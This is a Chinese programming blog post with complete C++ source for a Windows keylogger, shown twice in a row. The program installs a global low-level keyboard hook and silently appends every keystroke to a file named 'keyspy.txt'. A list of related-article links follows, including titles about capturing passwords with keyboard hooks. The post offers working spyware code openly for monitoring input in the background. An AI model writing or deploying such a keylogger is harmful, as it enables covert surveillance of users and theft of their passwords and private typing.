用键盘钩子截获键盘消息,后台监控键盘输入
2014-09-12 19:08
211 查看
#include <iostream>
#include <Windows.h>
#include <stdio.h>
using namespace std;
HINSTANCE g_Instance; // Handler of current instance
HHOOK g_Hook; // Handler of hook
BOOL SetHook();
BOOL UnSetHook();
static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
bool IsCaptialState()
{
bool IsCapital = false;
bool IsShiftDown = false;
if (GetKeyState(VK_CAPITAL))
{
IsCapital = true;
}
if (GetAsyncKeyState(VK_SHIFT))
{
IsShiftDown = true;
}
bool bFinalState = IsCapital ^ IsShiftDown;
return bFinalState;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch = 0;
FILE *stream = NULL;
if (wParam == WM_KEYDOWN)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
freopen_s(&stream, "keyspy.txt","a",stdout);
ch = MapVirtualKey(pStruct->vkCode, 2);
if (ch>='A' && ch <='Z' && !IsCaptialState())
{
ch = ch + 32;
}
printf("%c", ch);
fclose(stream);
}
return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);
}
BOOL SetHook()
{
if (g_Instance || g_Hook) // Already hooked!
return TRUE;
g_Instance = (HINSTANCE)::GetModuleHandle(NULL);
g_Hook = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);
if (!g_Hook)
{
return FALSE;
}
return TRUE; // Hook has been created correctly
}
BOOL UnSetHook()
{
if (g_Hook) { // Check if hook handler is valid
::UnhookWindowsHookEx(g_Hook); // Unhook is done here
g_Hook = NULL; // Remove hook handler to avoid to use it again
}
return TRUE; // Hook has been removed
}
int main()
{
if (!SetHook())
return -1;
MSG msg;
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnSetHook();
return 0;
}
#include <Windows.h>
#include <stdio.h>
using namespace std;
HINSTANCE g_Instance; // Handler of current instance
HHOOK g_Hook; // Handler of hook
BOOL SetHook();
BOOL UnSetHook();
static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
bool IsCaptialState()
{
bool IsCapital = false;
bool IsShiftDown = false;
if (GetKeyState(VK_CAPITAL))
{
IsCapital = true;
}
if (GetAsyncKeyState(VK_SHIFT))
{
IsShiftDown = true;
}
bool bFinalState = IsCapital ^ IsShiftDown;
return bFinalState;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch = 0;
FILE *stream = NULL;
if (wParam == WM_KEYDOWN)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
freopen_s(&stream, "keyspy.txt","a",stdout);
ch = MapVirtualKey(pStruct->vkCode, 2);
if (ch>='A' && ch <='Z' && !IsCaptialState())
{
ch = ch + 32;
}
printf("%c", ch);
fclose(stream);
}
return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);
}
BOOL SetHook()
{
if (g_Instance || g_Hook) // Already hooked!
return TRUE;
g_Instance = (HINSTANCE)::GetModuleHandle(NULL);
g_Hook = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);
if (!g_Hook)
{
return FALSE;
}
return TRUE; // Hook has been created correctly
}
BOOL UnSetHook()
{
if (g_Hook) { // Check if hook handler is valid
::UnhookWindowsHookEx(g_Hook); // Unhook is done here
g_Hook = NULL; // Remove hook handler to avoid to use it again
}
return TRUE; // Hook has been removed
}
int main()
{
if (!SetHook())
return -1;
MSG msg;
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnSetHook();
return 0;
}
相关文章推荐
- Window 下键盘钩子(监控键盘),并将监控信息发到服务端(UDP)
- 键盘监控的实现Ⅲ——按键消息的修改(映射)
- 利用鼠标键盘钩子截获密码
- C# Hook钩子实例代码 截取键盘输入
- c# webBrowser 模拟键盘输入及后台执行js
- 键盘消息参考一:关于键盘输入
- 消息钩子函数入门篇--(3)示例__键盘钩子
- 【Visual C++】游戏开发笔记十二 游戏输入消息处理(一) 键盘消息处理
- WinCE下钩子应用(一)——WinCE 下实时捕获键盘消息
- C#+低级Windows API钩子拦截键盘输入
- 各种各样的hook钩子用于截获操作系统中不同消息队列的消息
- R3下设置全局钩子截获键盘记录
- 利用鼠标键盘钩子截获密码
- c# webBrowser 模拟键盘输入及后台执行js
- C#+低级Windows API钩子拦截键盘输入
- jQuery 监控键盘一段时间内没输入
- 关于HOOK,如何通过钩子截获指定窗口的所有消息
- QQ是如何防止其它程序通过安装键盘钩子截获密码信息的猜想之一
- Win32键盘钩子可监听记录所有键盘的有效字符输入并提供输出
- PreTranslateMessage()函数截获鼠标键盘消息